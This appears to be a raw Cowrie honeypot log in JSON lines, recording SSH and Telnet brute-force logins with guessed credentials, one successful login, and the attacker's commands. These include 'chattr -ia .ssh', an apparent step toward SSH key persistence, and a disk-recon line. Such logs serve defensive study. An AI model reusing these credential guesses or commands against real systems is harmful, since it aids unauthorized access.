{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.451184Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.488900Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.495393Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55742,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd59a2b5a239","protocol":"telnet","message":"New connection: 134.209.8.29:55742 (159.203.135.109:23) [session: cd59a2b5a239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:18.911468Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55748,"dst_ip":"159.203.135.109","dst_port":23,"session":"713213220133","protocol":"telnet","message":"New connection: 134.209.8.29:55748 (159.203.135.109:23) [session: 713213220133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:19.065696Z"}
{"eventid":"cowrie.session.closed","duration":60.826251745224,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:28.444830Z","src_ip":"174.138.46.234","session":"9160009676a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.841525077819824,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:32.907107Z","src_ip":"134.209.8.29","session":"713213220133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36194,"dst_ip":"159.203.135.109","dst_port":23,"session":"68150e337543","protocol":"telnet","message":"New connection: 134.209.8.29:36194 (159.203.135.109:23) [session: 68150e337543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:36.713154Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":44780,"dst_ip":"10.17.0.5","dst_port":22,"session":"993e93445dd0","protocol":"ssh","message":"New connection: 147.50.231.135:44780 (10.17.0.5:22) [session: 993e93445dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:45.865216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:45.869378Z","src_ip":"147.50.231.135","session":"993e93445dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:46.131162Z","src_ip":"147.50.231.135","session":"993e93445dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qw23er4","message":"login attempt [ubuntu/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:47.217759Z","src_ip":"147.50.231.135","session":"993e93445dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.221768379211426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:47.234038Z","src_ip":"134.209.8.29","session":"b2cd13d91776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:48.488580Z","src_ip":"147.50.231.135","session":"993e93445dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33868,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb2b8017938","protocol":"telnet","message":"New connection: 134.209.8.29:33868 (159.203.135.109:23) [session: 0eb2b8017938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:48.846131Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbb8a4481db5","protocol":"telnet","message":"New connection: 134.209.8.29:33890 (159.203.135.109:23) [session: fbb8a4481db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:50.435591Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":45236,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af936d397e0","protocol":"ssh","message":"New connection: 148.216.28.11:45236 (10.17.0.5:22) [session: 1af936d397e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:50.678922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:50.684472Z","src_ip":"148.216.28.11","session":"1af936d397e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:50.765976Z","src_ip":"148.216.28.11","session":"1af936d397e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"P4ssw0rd","message":"login attempt [mysql/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:51.068970Z","src_ip":"148.216.28.11","session":"1af936d397e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:52.139950Z","src_ip":"148.216.28.11","session":"1af936d397e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33880,"dst_ip":"159.203.135.109","dst_port":23,"session":"86331ad11cac","protocol":"telnet","message":"New connection: 134.209.8.29:33880 (159.203.135.109:23) [session: 86331ad11cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:52.334751Z"}
{"eventid":"cowrie.session.closed","duration":2.6215245723724365,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:53.056995Z","src_ip":"134.209.8.29","session":"fbb8a4481db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52712,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6abc5ad19c","protocol":"telnet","message":"New connection: 134.209.8.29:52712 (159.203.135.109:23) [session: 9d6abc5ad19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:54.087628Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":39670,"dst_ip":"159.203.135.109","dst_port":22,"session":"eab3c2572efa","protocol":"ssh","message":"New connection: 187.141.71.166:39670 (159.203.135.109:22) [session: eab3c2572efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:57.073553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:57.078165Z","src_ip":"187.141.71.166","session":"eab3c2572efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:57.201522Z","src_ip":"187.141.71.166","session":"eab3c2572efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"899e842f8e8a","protocol":"telnet","message":"New connection: 134.209.8.29:52720 (159.203.135.109:23) [session: 899e842f8e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:57.406189Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop2020","message":"login attempt [root/hadoop2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:57.718285Z","src_ip":"187.141.71.166","session":"eab3c2572efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:58.843917Z","src_ip":"187.141.71.166","session":"eab3c2572efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.60801911354065,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:00.942613Z","src_ip":"134.209.8.29","session":"86331ad11cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":47806,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cdeaf0df18f","protocol":"ssh","message":"New connection: 34.135.200.178:47806 (10.17.0.5:22) [session: 6cdeaf0df18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.070822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.076106Z","src_ip":"34.135.200.178","session":"6cdeaf0df18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.110599Z","src_ip":"34.135.200.178","session":"6cdeaf0df18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdef3","message":"login attempt [ubuntu/abcdef3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.289015Z","src_ip":"34.135.200.178","session":"6cdeaf0df18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":43832,"dst_ip":"159.203.135.109","dst_port":22,"session":"758417071f2c","protocol":"ssh","message":"New connection: 165.22.63.98:43832 (159.203.135.109:22) [session: 758417071f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.933644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:01.944043Z","src_ip":"165.22.63.98","session":"758417071f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:02.187371Z","src_ip":"165.22.63.98","session":"758417071f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:02.325933Z","src_ip":"34.135.200.178","session":"6cdeaf0df18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1@3$qWeR","message":"login attempt [root/1@3$qWeR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:03.193326Z","src_ip":"165.22.63.98","session":"758417071f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:04.435062Z","src_ip":"165.22.63.98","session":"758417071f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54980,"dst_ip":"159.203.135.109","dst_port":23,"session":"6076f472b0d7","protocol":"telnet","message":"New connection: 134.209.8.29:54980 (159.203.135.109:23) [session: 6076f472b0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:07.262721Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"45079085ce83","protocol":"ssh","message":"New connection: 150.95.157.171:60304 (10.17.0.5:22) [session: 45079085ce83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:08.678355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:08.683344Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:08.841527Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin#123","message":"login attempt [admin/admin#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:09.513423Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:09.882315Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:09.886663Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:09.891631Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.056920Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.460446Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
